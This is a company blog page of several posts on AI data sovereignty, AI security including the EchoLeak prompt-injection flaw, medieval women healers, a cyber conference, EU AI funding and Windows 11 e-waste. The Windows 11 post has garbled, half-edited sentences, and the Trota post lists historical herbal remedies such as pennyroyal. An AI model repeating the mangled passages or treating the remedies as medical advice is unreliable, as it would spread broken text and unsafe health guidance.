Taylored Solutions Blog

Exploring AI [8]

Thu, 16 Apr 2026 06:43:54 GMT

The Ins and Outs of Data Sovereignty

AI tools are often discussed in terms of features, capability and performance. In practice, the more important question for most organisations is how control is actually delivered.

In our experience working with businesses across regulated and operational environments, AI adoption is rarely limited by what the technology can do. It is limited by how data is handled, where it is processed and what level of control is available at different price and deployment tiers.

That control is not always consistent. It is shaped by licensing, infrastructure choices and the commercial model behind each platform.

This is the lens we use throughout this overview.

⸻

What Is Data Sovereignty, and Why Does It Matter?

Data sovereignty goes beyond where your files are stored. It also covers who has legal jurisdiction over your data, who can access it and what happens to it when it is processed.

In practice, it comes down to a simple question:

If I send my business data to this AI tool, where does it go, who can see it and what laws apply to it?

For businesses operating under GDPR or similar data protection frameworks, this question carries particular weight. This is especially relevant in jurisdictions such as the Isle of Man, where local regulation sits alongside broader international obligations.

⸻

Microsoft 365 and Copilot

Microsoft has invested heavily in addressing data residency concerns. Within Microsoft 365, data at rest can be located in specific geographic regions depending on how your tenant is configured.

Copilot adds a layer of nuance.

Earlier concerns focused on how Copilot processed data alongside existing Microsoft 365 services. Microsoft has since aligned Copilot more closely with its core service boundary. In practice, Copilot operates within the Microsoft 365 compliance framework, using your organisation’s data through Microsoft Graph rather than treating it as a separate external system.

Microsoft has also confirmed that customer data is not used to train its foundation models.

At the same time, Microsoft continues to expand regional processing capabilities, particularly through initiatives such as its EU Data Boundary, with increasing localisation over time.

For organisations with stricter requirements, Advanced Data Residency can extend where certain Microsoft 365 workloads are stored. It is important to understand that this applies to specific services and does not automatically cover everything Copilot interacts with.

From a control perspective, Microsoft represents one of the more structured environments, but even here, sovereignty is not absolute. It is shaped by configuration, licensing and jurisdictional exposure.

Key questions to ask:

Where is your Microsoft 365 tenant provisioned?

Do you have Advanced Data Residency configured and what does it actually cover?

Have you reviewed how Copilot processes data within your environment?

⸻

ChatGPT (OpenAI)

OpenAI’s ChatGPT is widely used, but the data handling model varies depending on how it is deployed.

For individuals and teams using free or standard plans, data sovereignty controls are limited. Conversations may be used to improve models unless settings are changed, and processing typically takes place in US-based infrastructure.

More advanced options are available through business and enterprise offerings, including regional data residency in Europe and the UK. These allow organisations to keep data at rest within a chosen region and configure how long data is retained. In some cases, retention can be reduced to zero.

These capabilities are generally tied to higher tier plans, which can represent a noticeable step up in cost and are not always practical for smaller organisations.

Even with regional settings in place, some supporting data such as account metadata or integrations may still be processed outside the selected region. OpenAI also remains a US-based company and is subject to US legal jurisdiction.

From a practical standpoint, ChatGPT illustrates a broader pattern seen across the market. The level of control available is directly tied to commercial tier and deployment model rather than being consistent across all users.

Key questions to ask:

Are you using a business or enterprise plan or a standard one?

Have you configured data residency and retention settings?

What third party integrations are connected to your environment?

⸻

Claude (Anthropic)

Anthropic’s Claude is often grouped alongside other large language models, but from a governance perspective it can be more complex to assess.

Claude is accessed both through its own interface and via APIs or third party platforms. This means the way data is handled can vary depending on how it is implemented.

Anthropic states that customer data is not used to train models when using its API or enterprise offerings. However, clarity around data residency is less central compared to platforms such as Microsoft 365 or Google Workspace, particularly for non enterprise users.

For organisations working to meet GDPR requirements, this makes due diligence more important. It is not always immediately clear where data is processed, how it is routed or what controls apply without reviewing the specific deployment model.

As with other providers, Anthropic is a US-based company and remains subject to US legal jurisdiction.

Claude is a powerful tool for reasoning and long form work, but it highlights an important point. Capability is rarely the issue. The real question is how clearly an organisation can define and control its data flow when using it.

Key questions to ask:

How are you accessing Claude, directly or through another platform?

What level of data sensitivity is being used?

Do you have visibility over where data is processed and stored?

⸻

Google Gemini

Google has developed a more mature approach to data residency across its Workspace ecosystem, and this increasingly extends to Gemini.

Administrators can configure data regions for core Workspace data, and Google continues to expand how these controls apply to AI processing. For enterprise customers, additional features such as customer managed encryption keys and private routing provide further control.

At the higher end, Gemini can be deployed in highly controlled environments through Google Distributed Cloud, including scenarios that are effectively isolated from the public internet. These setups are typically limited to large enterprises or public sector organisations due to their complexity.

From a control perspective, Google offers strong tooling, but like others, it still operates within a layered model where capability depends on configuration and commercial tier.

The underlying consideration remains consistent. Data residency affects where data is stored and processed, but it does not change the legal jurisdiction that may apply.

Key questions to ask:

What Workspace licence tier are you on?

How are your data region settings configured?

Does your use of Gemini align with your compliance requirements?

⸻

Perplexity and AI Powered Search

Perplexity AI takes a different approach by combining language models with live web search to generate answers, often with cited sources.

From a data sovereignty perspective, this introduces a different pattern of risk.

Queries may involve real time retrieval from external websites, meaning user input can be combined with third party content during processing. This can improve transparency and usefulness, while also expanding the data flow beyond a single provider.

Compared to more established enterprise platforms, governance and residency controls are less central to the product design. This makes it well suited to research and general exploration, but less appropriate for sensitive or confidential data use cases.

Key questions to ask:

What type of information is being entered into search-based AI tools?

Are queries being combined with external sources?

Is this tool being used within a governed workflow or for convenience?

⸻

Meta Llama: The Open Weight Option

Meta’s Llama models sit in a different category.

As open weight models, they can be downloaded and run on your own infrastructure. When self hosted, prompts and outputs remain entirely within your environment, with no external API calls and no third party visibility.

For organisations handling sensitive or regulated data, this can provide a higher degree of control.

However, that control comes with operational responsibility. Running Llama effectively requires infrastructure, technical expertise and ongoing management.

It is also worth noting that if Llama is accessed through a third party provider rather than self hosting, many of these benefits no longer apply.

Key questions to ask:

Do you have the capability to self host securely?

How sensitive is the data you are working with?

Does the investment align with your risk profile?

⸻

Claude Copilot and the Multi Model Future

Microsoft is evolving Copilot into a broader AI orchestration layer, incorporating models beyond its own ecosystem, including those from Anthropic.

This introduces both opportunity and complexity.

When multiple model providers are involved, it becomes important to understand not only where data is stored, but also which model processes it, which company operates that model and what legal jurisdiction applies at each stage.

Even when the interface sits within Microsoft 365, elements of processing may involve third party models with their own policies and legal exposure.

From a governance perspective, this increases the importance of visibility. The challenge is no longer just understanding a single provider, but understanding the full chain of processing across platforms, models and infrastructure.

⸻

So Is Data Safer Here?

For businesses operating under GDPR or similar data protection frameworks, keeping data local can offer genuine advantages. Local infrastructure can provide clearer regulatory alignment and greater visibility over who is responsible for systems.

At the same time, there is a practical reality that often gets overlooked.

For many smaller organisations, the strongest data controls within AI platforms sit behind higher tier licences. Features such as regional processing, reduced retention and enhanced governance are not always available at entry level pricing.

Enterprise grade AI tools often introduce another constraint. They may require a minimum number of users before access is granted, sometimes 20 or more. For very small organisations, that threshold alone can make adoption difficult, regardless of suitability from a compliance perspective.

As a result, many smaller businesses are left on consumer style plans that offer significantly less visibility and control over where data goes and who can access it.

This creates a structural gap in the market.

Larger organisations can often configure AI tools to align closely with their compliance requirements. Smaller businesses may find themselves balancing cost against control and deciding where AI can be used safely and where it should remain limited to low risk tasks.

In practice, this does not mean avoiding AI. It means using it deliberately based on risk.

⸻

A Practical Starting Point

Before adopting any AI tool, it is worth asking a few straightforward questions:

• Where is my data stored and where is it processed

• Is my data used to train or improve the model

• What legal jurisdiction applies to the provider

• What controls are available and what do they cost

• What happens if I need to move away from this provider

There are no universally right answers. The right approach depends on your business, your data and your risk appetite.

The important thing is making those decisions deliberately rather than by default.

Women in STEM - Saint Hildegard of Bingen

Fri, 20 Mar 2026 22:08:58 GMT

A 12th Century Polymath exploring medicine, music, nature and the cosmos

While researching Saint Hildegard of Bingen it became clear her body of work really is vast. She wrote on theology, medicine, plants, music, morality and the nature of the universe itself. Trying to condense all of that into notes for a single blog felt a little like trying to fit the ocean into a teacup.

Hildegard born 1098 in the Rhine region of what is now Germany. Entered religious life as a child, later becoming an abbess and eventually founding her own monastic communities. Over the course of her life she produced an extraordinary range of work. She wrote theological texts, medical observations, natural studies, poetry and music, while maintaining extensive correspondence with religious and political leaders. Because of the wide scope of works she is often described as a polymath and was sometimes referred to as the Sibyl of the Rhine and the Patron Saint of musicians and writers.

Central to Hildegard’s life were the visions she reported experiencing from childhood. She described seeing what she called the “Living Light”, vivid symbolic visions that she believed carried spiritual meaning. For many years she kept these experiences private, but in her early forties she consulted her confessor, who reported the matter to the Archbishop of Mainz. Subsequently her visions were examined by church authorities, including theologians who were appointed to assess their authenticity. She received papal encouragement and with the help of a monk she continued to record them.

These visions became the Scivias .

Scivias , written between around 1141 and 1152. The title comes from the Latin phrase meaning “Know the Ways”. In this text Hildegard described and interpreted a series of visions dealing with creation, humanity, moral life and the structure of the cosmos. The work was circulated within church circles and helped establish her reputation as a respected religious thinker.

Alongside her theological writing, Hildegard was also a talented poet and musician. A total of 77 surviving poetic works and accompanying music are attributed to her - Symphonia armonie celestium revelationum (“Symphony of the Harmony of Heavenly Revelations”), hymns, antiphons and a morality play titled Ordo Virtutum . Her music is known for its wide melodic range and expressive style, which makes it distinctive from the more restrained Gregorian chants of the period. The compositions appear to have been written to heighten the emotional and spiritual essence of her texts and are notable for the soaring melodies and dramatic shifts.

Hildegard wrote extensively about nature and medicine too. One of her works, referred to as Physica , examines plants, animals, stones and elements of the natural world. Describing their characteristics and possible uses in healing. The text reflects medieval ideas about balance in the body and the relationship between health and the natural environment.

Another medical work, Causae et Curae or “Causes and Cures”, explores the origins of illness and possible treatments. Hildegard discussed digestion, emotional wellbeing, reproduction and the influence of environment on health. Some sections address aspects of women’s health in ways that were revolutionary for the period.

Running through much of Hildegard’s thinking is the idea of viriditas . The word generally translated as “greenness” or “greening power”. She used it to describe the life force present in nature and within human beings. In her writings this vitality connects spiritual life, physical health and the natural world. Growth, balance and vitality all form part of the same living system.

Later in life Hildegard continued her theological writing. In Liber Vitae Meritorum , or “The Book of Life’s Merits”, she explored moral life through symbolic descriptions of virtues and vices. The work reflects on human behaviour and the ethical choices that shape a life.

Her final major visionary work was Liber Divinorum Operum , “The Book of Divine Works”, written between around 1163 and 1174. In this text she brought together many of the ideas present in her earlier writings. It presents a vision of the universe in which humanity, nature and the cosmos exist within a deeply interconnected order.

Hildegard died in 1179, leaving behind a remarkable legacy of writing, music and intellectual exploration. Her work crossed boundaries between theology, medicine, natural science and the arts. That breadth is one reason she continues to attract attention today. Her writings offer a glimpse of a twelfth century thinker exploring questions about health, nature, morality and humanity’s place within the wider universe.

Further reading

Britannica - Hildegard of Bingen

Hildegard Society - Music

Wikipedia - Scivias

Securing AI

Tue, 13 Jan 2026 16:26:35 GMT

Why Cyber Security Thinking Needs To Evolve

AI is becoming part of core business infrastructure, moving beyond a helpful productivity add-on. Organisations are increasingly embedding AI into everyday tools and workflows, connecting to business data, automation, and decision-making. As adoption accelerates, businesses need to ensure their approach to cybersecurity keeps pace.

Across the industry, there is growing recognition that traditional cyber security frameworks were designed for predictable, rules-based software environments. Generative AI behaves differently. It processes context, combines information dynamically, and can act in ways earlier systems could not. This introduces new types of security considerations that classic frameworks were not built to address.

Lessons from EchoLeak

In 2025, the EchoLeak vulnerability in Microsoft 365 Copilot highlighted this emerging reality. The zero-click AI flaw (CVE‑2025‑32711) showed how Copilot’s behaviour could become part of the attack surface, with risk arising from how the system interpreted and processed crafted content rather than a user clicking a malicious link. This is an example of an indirect prompt-injection style attack. Microsoft issued fixes and guidance, but the incident demonstrated how AI-specific behaviours can create new avenues of risk that organisations need to understand.

This sits within a broader industry trend. Attackers are adapting, expanding their focus from targeting only users to also targeting AI models themselves. These systems are increasingly woven into business logic, privileged data access, identity frameworks, and critical processes. As AI becomes embedded into tools, workflows, and data environments, security research and threat activity are increasingly exploring how AI systems can be influenced, misused, or manipulated.

More tools isn’t the only answer

Organisations need to adapt too. Adapting to this requires a change in mindset, not just a bigger software budget. Culture and practice must come first, supported by the right technical safeguards.

Unlike traditional software, AI systems reason and interact in non-deterministic ways. To manage this, organisations need to address specific emerging risks:

• Prompt Manipulation: Influencing an AI’s output to bypass safety filters or expose internal logic.

• Contextual Data Exposure: AI accidentally revealing sensitive information to users who should not have access to a particular data source.

• Autonomous Agency (AI agents with write access): Risks that arise when AI is granted write access to systems, such as sending emails or moving files, without human oversight.

• Machine Identity: Managing the permissions of an AI agent as if it were an employee.

Building resilience for 2026

Visibility is the first step. You cannot secure what you haven’t mapped.

1. Audit the AI footprint: Identify which departments are using AI and where “Shadow AI” tools have crept into workflows.

2. Map data connections: Understand exactly which data sources, tools, and processes your AI systems can access.

3. Govern permissions: Apply the principle of least privilege. Does your AI really need access to the entire company SharePoint, or just a specific folder?

Ensuring your cybersecurity strategy evolves with AI adoption, rather than retrofitting protections later, builds a resilient foundation for the years ahead.

Strengthen your foundations

If you are reviewing your cybersecurity approach for 2026, you can take our Cyber Security Assessment and download our 10 Cyber Tips for 2026 pdf. Both provide practical steps to strengthen core cybersecurity. Links below

Taylored Solutions Cyber Security Assessment

Taylored Solutions SME Cyber Security 2026

What a Virtual/Fractional CTO Really Does

Tue, 30 Dec 2025 11:05:59 GMT

And Why Your Business Wants One (more that you think)

There's a noticeable difference between companies that function and companies that are well run.

One of the most underrated skills of a strong leader is putting the right people in the right roles.

More often than not, the difference comes from what you don’t see the behind-the-scenes decisions, the technology being steered with board-level expertise rather than crossed fingers, numbers are known rather than estimating, roadmaps aren't wish lists they are being followed, staff aren't overworked and customers who not only stay but recommend you.

This creates the ripple effect. These decisions compound.

Tech is where this usually goes quietly wrong.

Many Businesses don't choose a CTO, they inherit one. Sometimes the CCO or a Co-Founder, who ends up carrying all the responsibility without the Tech qualifications or cyber security experience. The leadership gap is growing.

You don’t need a six-figure hire to have board-level technology leadership in your business. This is where a Fractional CTO comes in.

A Fractional CTO isn’t IT support.

They’re not there to manage tickets or reset passwords. They bridge the all important gap between the Board and IT Provider.

They sit where strategy is shaped. They see consequences before they’re expensive, before you sign a three-year contract that won’t scale with your business growth, before an update nudges you into non-compliance, before teams rebuild systems but with the same issues again.

They understand risk.

This is board-level thinking without the overhead. Direction rather than distraction. Technology that supports growth instead of quietly undermining it. Cyber risk addressed before it becomes an insurance invalidator, a trust issue, or a business-ending one.

At Taylored Solutions , this is where we work. Alongside founders and boards and with your IT Provider, bringing clarity and calm to technology decisions that matter, without becoming your IT department or another name on the org chart.

When this leadership is in place you get the right questions asked and answered, in a way you can understand.

Women in STEM - Trota of Salerno

Sun, 19 Oct 2025 13:45:48 GMT

Trota and Trotula

When I first googled “ Trota ,” this is what came up:

“‘ Trota ’ is the Italian word for trout, a freshwater fish. The term is also used to refer to the fish as a food.”

I understand that this is technically correct, but there wasn’t even an option for Trota being an influential woman of her time. I was offered Italian for trout or a transport company by this name.

To find her, I had to search specifically for Trota of Salerno . By all means, tell me it’s Italian for fish and there is a transport company with this name, but it was disappointing that Trota of Salerno didn’t even feature in the top search results. Yet, in the 12th century, this woman was one of the most respected medical practitioners in Europe.

This has now been changed, and Trota appears within the search outline and in the top search results when you search just ' Trota '.

Trota and what she means today

When people name medieval healers, it’s often men who come to mind, women were seen as “midwives”. Yet in the 12th century, in the port town of Salerno, a woman named Trota was writing prominent and practical medical advice that would travel across Europe. Her work is among the clearest and most influential pieces of evidence we have that women practised and wrote about medicine in the Middle Ages. Their work went beyond midwifery, general therapeutics, cosmetics, and issues of fertility and hygiene.

Trota’s surviving work shows a clinician who combined pragmatic remedies with frank, sometimes surprising, observations. For example, she acknowledged that both partners contribute to infertility, an eye-opening statement in its time and it challenged the long-standing Galenic view that women were primarily to blame. This secured Trota as an important voice in women’s medicine and the broader history of medical thought.

⸻

Salerno and the medical culture that produced Trota

Salerno, southern Italy, was home to the Schola Medica Salernitana, cited as Europe’s first medical “school.” It was a meeting point of Greco-Roman, Arabic, Jewish and Latin traditions. Unusually inclusive: evidence suggests that women (the mulieres Salernitanae) could practise as nurses, midwives and healers alongside men.

Trota emerged in this environment. While records are fragmentary, the texts associated with her show both practical authority and a keen observational eye. Remedies were often herbal (sage, rue, pennyroyal), but she also described diagnostic methods based on symptoms, touch, and patient narratives. In a period when medicine was deeply shaped by Galenic “humoral” theory (which framed illness as an imbalance in the four body fluids), Trota’s pragmatic focus on what worked set her apart. Her approach was based on observation and results over abstract medical doctrine.

⸻

Trota and “Trotula”? Clearing the confusion

For centuries, readers encountered the name “ Trotula ” as the supposed author of a famous compendium on women’s medicine. New research, however, shows that “Trotula” was never a person but Trota’s texts . The name comes from a misunderstanding: by the late Middle Ages, three separate Salernitan texts on women’s health had been bound together and transmitted as a single work.

These were:

1. De passionibus mulierum ante in et post partum (on gynaecological disorders).

2. De ornatu mulierum (on cosmetics).

3. De curis mulierum (on treatments for women) - the text most directly linked to Trota.

The whole collection came to be called Trotula. Over time, scribes and readers assumed “Trotula” was the author’s name. In reality, with a lack of records, only some of this material can be securely attributed to Trota herself.

It was historian John F. Benton (1985) who rediscovered a manuscript of Practica secundum Trotam in Madrid, providing direct evidence of a historical woman named Trota. Building on this, Monica H. Green has carefully reconstructed which passages of De curis mulierum are likely Trota’s, and which are later additions or composites. While scholarly debate continues, the consensus today is that Trota was indeed a real figure, and at least part of the Trotula tradition preserves her voice.

⸻

What made Trota distinctive?

Trota’s remedies stand out for their blend of empirical observation and inherited theory . Where Galenic medicine emphasised balancing the four humors, and Arabic physicians like Avicenna systematised theory into encyclopaedias, Trota’s approach was more hands-on and patient-centred.

Examples include:

• Infertility: Rather than placing blame on women, she proposed tests for both sexes. Such as examining whether semen was retained or expelled after intercourse.

• Menstrual regulation: She recommended herbs such as rue and pennyroyal, alongside dietary adjustments, to restore delayed menstruation.

• Postpartum care: She offered guidance on easing uterine pain and swelling after childbirth, including poultices and baths.

• Cosmetic and dermatological advice: From removing blemishes to hair care, reflecting the overlap between medicine and beauty.

One striking passage paraphrased from De curis mulierum suggests: “ When the womb is dry, conception cannot occur, but when it is too moist, the seed slips aw ay.” This vivid image shows how Trota described bodily processes in practical, experiential terms and more than abstract humoral theory.

⸻

Beyond women’s medicine

While Trota is best known for her work on women’s health, evidence suggests her scope was broader. The Practica secundum Trotam includes remedies for fevers, wounds and digestive complaints, showing her as a general practitioner. This is significant: it counters the stereotype that medieval women were confined only to midwifery. Trota’s presence in multiple manuscript traditions indicates she was recognised as a medical authority beyond “women’s matters.”

⸻

Reception and legacy

Trota’s influence spread widely. The Trotula ensemble circulated across Europe, copied into Latin, translated into vernaculars like Middle English and Old French, and read by both laypeople and university-trained physicians. At Montpellier and Paris, the compendium was taught as part of medical curricula well into the 15th century.

Yet the process of transmission also distorted her authorship. As “ Trotula ,” she became a semi-legendary figure: sometimes mocked as an “old wife,” sometimes praised as a woman healer, but rarely acknowledged as the real Trota of Salerno . Only with the work of 20th- and 21st-century historians has her historical presence been recovered.

⸻

Trota’s works Now

Trota’s significance is twofold. First, she stands as rare documented proof that women were practising and publishing medicine in medieval Europe. Second, her work challenges stereotypes about the Middle Ages as uniformly hostile to women in science. In Salerno , at least, women like Trota could achieve visibility, even if in later centuries their contributions were obscured.

Trota’s story reminds us how fragile the record of women’s intellectual labour can be. A woman’s voice was almost erased, folded into a fictional “ Trotula. ” Recovering her words restores not only one medieval healer, but a lineage of women’s participation in science and medicine.

⸻

Further Reading, Book links and Information

• Wikipedia - Trota of Salerno

• Monica H. Green, The Trotula: A Medieval Compendium of Women’s Medicine (University of Pennsylvania Press, 2001).

• EBSCO - Trotula

• John F. Benton, “Trotula, Women’s Problems, and the Professionalisation of Medicine in the Middle Ages” (Bulletin of the History of Medicine, 1985).

• Mary Fissell, Vernacular Bodies: The Politics of Reproduction in Early Modern England (Oxford University Press, 2004) – for Trota’s later reception.

Cyberisle 2025

Thu, 16 Oct 2025 21:18:25 GMT

A Wake Up Call For Businesses

Why This Matters NOW

Cyber threats are no longer a distant possibility; they are a daily reality. The increase in the number of attacks has skyrocketed - that’s the only way to describe it.
At Cyberisle 2025, several themes were consistent and clear. One being the risk is real, and it’s only growing. From ransomware to AI-driven attacks, the threats evolve faster than most businesses can keep up. Queue the numerous slides from various presenters of ostriches and heads in the sand.

Don’t be that business.
For small and medium-sized businesses (SMBs), the stakes are even higher. Many won’t survive the downtime that comes after a major incident if you aren’t prepared.

The question isn’t if an attack will happen, it’s when . And when it does, will your business be ready? Will you be back up and running in 3 days or 3 months?

7.7 million cyber crimes were experienced by businesses over the past year. That’s around half of all businesses in the UK. Don’t be next.

---

Key Insights from Cyberisle

Half of businesses are attacked.
One company alone reported over 18,000 failed login attempts in a single month. Do you even know your numbers?
Your data is YOUR responsibility. Outsourcing IT doesn’t outsource accountability. YOU must ensure backups, configurations, and security measures are in place.
AI is a double-edged sword. Hackers are already using AI to launch sophisticated attacks. Are you using AI to defend your business? Be proactive, if you react, you are already too late.
Collaboration is critical. As one speaker said: “Attackers will thank us for not working together.” Building relationships, yes, even with competitors, can make the difference between resilience and disaster. Learning from others' mistakes and sharing yours.
Culture matters. Policies, processes, and practices must be embedded in your organisation. Cybersecurity is a business survival issue. Creating a culture featured heavily.
Compliance and frameworks. From Cyber Essentials v3.2 to IASME and quantum-safe policies, the standards are changing. Are you keeping up?

---

What You Can Do Today

The good news? You don’t have to tackle this alone. Here are three steps you can take right now:

1. Review your backup strategy. Do you have air-gapped backups? Are they tested regularly?
2. Check your incident response plan. If you were hit tomorrow, who do you call? Where’s your insurance policy? Is it accessible offline?
3. Assess your security posture. From MFA to vulnerability management, start with the basics and build up.

And remember: being proactive beats being reactive every time. Don’t wait for a breach to start doing the things you know you should have done years ago. This was echoed in an example of a breach. The Business that was breached spent 3 weeks of downtime putting in place something discussed two years previously, but it was never done. Followed by another 6 weeks then building back up. 12 weeks before they back up and running. All the while wishing they had done the investment and the little things all that time ago. Because that investment was minuscule in costs comparative to what was being paid out now.

Build checking the National Cyber Security Centre and Cyber Security Centre for the Isle of Man for updates into your daily routines.
---

How Taylored Solutions Can Help

At Taylored Solutions, we believe you can’t secure what you don’t understand. We help businesses:

- Build resilience through policies and processes.
- Implement and maintain certifications.
- Adopt AI responsibly and securely.
- Develop practical, tested disaster recovery and incident response plans.

Ready to take the first step? Let’s start the conversation today. Because the cost of doing nothing is far greater than the cost of being prepared.

Cyber Essentials - NCSC

Inside InvestAI

Thu, 09 Oct 2025 21:54:29 GMT

How Europe Plans to Close the Global AI Gap

This week, the European Union unveiled further funding to InvestAI. InvestAI is a €200 billion bold initiative announced in February 2025 at the AI Action Summit in Paris, aimed at boosting Europe’s artificial intelligence capabilities and catching up with global leaders. Two strategies will see this funding. Apply AI and AI in Science Strategy.

At the heart of the plan are four new AI gigafactories , each powered by around 100,000 next-generation chips . These facilities will provide the compute power often reserved for the biggest players in global tech and are expected to be operational by late 2026 .

⸻

What’s Driving the Investment?

The EU’s goals:

• Reduce reliance on non-European tech giants

• Strengthen digital sovereignty

• Provide businesses, researchers, and startups with access to large-scale AI infrastructure

This initiative is about enabling European industries (from healthcare to manufacturing) to remain competitive in a global economy increasingly shaped by AI-driven innovation and efficiency.

⸻

Who’s Behind It?

• European Commission – Leading the initiative, with Ursula von der Leyen describing InvestAI as a “CERN for AI.”

• European Investment Bank (EIB) – Co-managing the layered investment fund.

• Member States – Contributing through cohesion funds and national programmes.

• Private Sector – Around €150 billion is expected from corporates, venture capital, and startups via the EU AI Champions Initiative.

InvestAI builds on earlier investments in AI infrastructure, including seven AI factories announced in late 2024 , with five more expected soon .

Countries already deploying AI-optimised supercomputers include Finland, Germany, Italy, Luxembourg, Sweden, Spain, and Greece , coordinated through the EuroHPC Joint Undertaking .

⸻

Sustainability Considerations

Large-scale AI infrastructure comes with significant energy demands. The EU has emphasised that InvestAI will prioritise energy-efficient design, renewable energy sources, and sustainable chip development . These gigafactories aim to balance the need for high compute power with environmental responsibility, reflecting a broader push for sustainable technology across Europe.

⸻

Democratising Access

One of the most promising aspects of InvestAI is its focus on making AI infrastructure widely accessible . This initiative is designed to help startups, SMEs, and researchers tap into world-class AI resources, not just the large tech companies.

Support will come through:

• Funding programmes such as Digital Europe , Horizon Europe , and InvestEU

• Scholarships and reskilling initiatives

• A new European AI Research Council to guide strategic development

⸻

A Regional Perspective

While Taylored Solutions isn’t part of the EU. Initiatives like InvestAI could influence regional businesses, providing new opportunities to innovate, scale, and access compute infrastructure that was previously out of reach.

⸻

Final Thoughts

€200 billion is a headline-grabbing figure, but the real test will be in execution, infrastructure, and sustainability . Europe is making a serious move to stay competitive in AI.

Will InvestAI help Europe close the gap? And how should we prepare for what’s coming next?

EU Invest AI

Keeping European industry and science at the forefront of AI

Gigafactories

Microsoft 11 and The Electronic Waste The Earth Cannot Afford

Wed, 10 Sep 2025 21:38:29 GMT

Tech and Forced Obsolescence

In our house, computers aren’t just machines, they’re part of the family. We give them names, we patch them up, we squeeze every bit of life from them. Under my desk right now is an older PC, not shiny or new, but it still works perfectly well because it has been cared for, upgraded and looked after over time.

This blog was born out of frustration when we had to buy a brand-new laptop, supposedly “Windows 11 ready.” The upgrade toggle didn’t work (apparently that’s common, according to the forums and even Microsoft admits it). After hours of wasted time, a workaround from CoPilot, we eventually got there.

As we did battle with the new machine, our conversation led to the realisation that three perfectly good laptops in the house may soon be “retired” simply because of Windows 11 compatibility issues. That’s when I started googling (there are other search engines available). The statistics I found shocked me. The estimated amount of perfectly good tech that is about to be written off, not because it’s broken like our replaced laptop, but because Windows 11's forced upgrade makes it so.

⸻

The Bigger Picture

This is part of a global problem, not just an inconvenience in our household. It's estimated that 240 million perfectly functional PCs are set for landfill because of forced software requirements for an upgrade you may not need or even want, rather than the machine being broken beyond repair.

The Scale of the Problem

Analysts predict that by the time Windows 10 support ends in October 2025 , up to 200–240 million laptops and PCs could be made redundant purely because they don’t meet Windows 11’s hardware requirements [source: itpro.com ; maombi.com]

These machines are not “old clunkers” (like my pink Sony Vaio which is tucker away) sitting in the back of cupboards (like my 16 year pink Sony Vaio), they’re in daily use, some just a few years old, running smoothly on Windows 10. What is the issue? Missing a specific security chip (TPM 2.0) or being built before Microsoft’s hardware cut-off.

The result? Perfectly good technology heading straight to landfill, fuelling a global e-waste crisis we already can’t keep up with.

Replacing working laptops puts pressure on businesses, schools and households. When we are already in global economic uncertainty.

Policy Contradiction: Circular Economy vs. Forced Obsolescence

The EU’s Circular Economy Action Plan and right-to-repair legislationefforts aim to lengthen product lifespans and reduce waste. What Microsoft's approach does the opposite. Pushing perfectly functional machines into obsolescence, directly undermining global sustainabilty goals.

We need software designed and developed to support extending hardware lifespans rather than updates rendering it useless before it's time.is doing is forcing functional machines into obsolescence, directly countering these policies. We need software that supports longer hardware lifespans, not designs that push devices into landfills unecessarily.

An Electronic Waste Explosion

fill (such as gold, copper and iron)

E-waste is already the fastest-growing waste stream in the world . According to the Global E-Waste Monitor, over 62 million tonnes were generated in 2022: more than the weight of the Great Wall of China. Forcing millions of working laptops into premature retirement, enough to fill 1.5 million trucks in a line around the equator.

Only 22.3% of that was properly recycled, meaning almost 78% of 2022's e-waste ended up in landfill (such as gold, copper and iron)

Microsoft themselves have made public commitments to sustainability and carbon reduction [blogs.windows.com], but the Windows 11 roll-out tells a different story.

This is not acceptable.

⸻ The Efficiency Myth

Surely, you might think, Windows 11 must run more efficiently? Otherwise, what’s the point?

Microsoft claims Windows 11 is “up to 2.3x faster” and offers “2.7 extra hours of battery life” [windowslatest.com]. But dig deeper and those figures often come from comparing brand new devices against 9-year-old Windows 10 hardware [tomshardware.com]. In independent tests, when Windows 10 and 11 run side-by-side on the same hardware, the performance difference is marginal, mostly within 1–5% [techspot.com].

In fact, some users have seen battery life drop after upgrading, forcing them to roll back to Windows 10 [reddit.com/r/Windows10]. Others notice no difference at all.

So if Windows 11 isn’t significantly more efficient, and often doesn’t improve performance on existing hardware, why are laptops just a couple of years old being pushed towards the scrap heap?

A Personal Example

There’s an ongoing argument in our house over my pink Sony Vaio. It's been upgraded and upgraded, living and working far longer than anyone expected. Even after my son once used it as part of a makeshift step ladder, I can’t bring myself to part with it. It was no longern't in daily use and it was starting to show quirks of old agehave it niggles, but it shows how long a machine can keep going if you give it the chance. I know its days are numbered, not because it is actually’s broken, but because even if we fixed the being stood on damage, it will won't run Windows 11 without a number of workarounds. Honestly though, they just don’t make them as pretty in pink anymore.

Right-to-Repair & Design Accountability

Some countries now require repairability scores or legislation that keeps devices serviceable. Microsoft and OEMs could:

•Publish repairability indexes.

•Support modular designs and easier component replacement.

•Offer discounted ESU or lightweight Windows versions for capable, non-compliant devices.

While for me there is a bit of nostalgia, the turuth is it’s about sustainability, fairness, and choice. A 10-year-old computer can still do everything an average user needs - browse the web, run office tools, connect on social media, stream and manage personal security.

⸻

Suing Microsoft

In California, Lawrence Klein has filed a lawsuit alleging Windows 10’s end of support is designed to force consumers into buying new Copilot-enabled devices. He argues this is unfair, wasteful, and anti-consumer.

His case highlights that this issue goes beyond online grumbles. Millions of users are effectively being forced to buy new hardware or wrestle with complex and costly upgrades. For many, it feels like corporate bullying hiding behind progress.

⸻

Can Anything Be Done?

There are workarounds to extend the life of older machines. But they’re rarely simple. They may involve technical knowledge, third-party software, or costs, things some people don’t have the time, money, or skills to navigate.

That is the point. Why should consumers be forced into hacks, complex fixes, or costly stopgaps in order to keep good machines working and safe. We can’t keep excusing waste like this as “progress.” Progress should mean better use of our resources, longer lifespans for devices, and smarter software that runs more efficiently on what we already own.

Instead of scrapping devices:

• Extend support for Windows 10 beyond 2025 (lawsuits are already pushing for this [techradar.com]).

• Allow lighter versions of Windows 11 for capable but non-compliant hardware.

• Offer genuine sustainability pathways , not just marketing slogans.

As businesses, as families, as individuals — we should be able to expect that technology leaders live up to their sustainability promises, not undermine them with planned obsolescence.

Ask yourself: if a decade-old computer can still run daily, why should a perfectly functioning four- or six-year-old one be consigned to the already over burdered scrap heap?

Progress should mean smarter, greener, longer-lasting solutions . Not another laptop or pc prematurely defunct.

Further Reading & References

• Vikas Chawla (Medium): Forced Windows 11 Upgrade: A Frustration for Users and an Environmental Concern

• Micro Fusion Insight: 5 Reasons Why You Should Think Twice Before Upgrading to Windows 11

• Dana Blankenhorn: Windows 11: A Forced Upgrade for the Agentic Web

• TechnoheadBlog: The Environmental Impact of Windows 11 Hardware Restrictions

• Tom’s Hardware: Windows 11 restrictions could render 240 million PCs obsolete

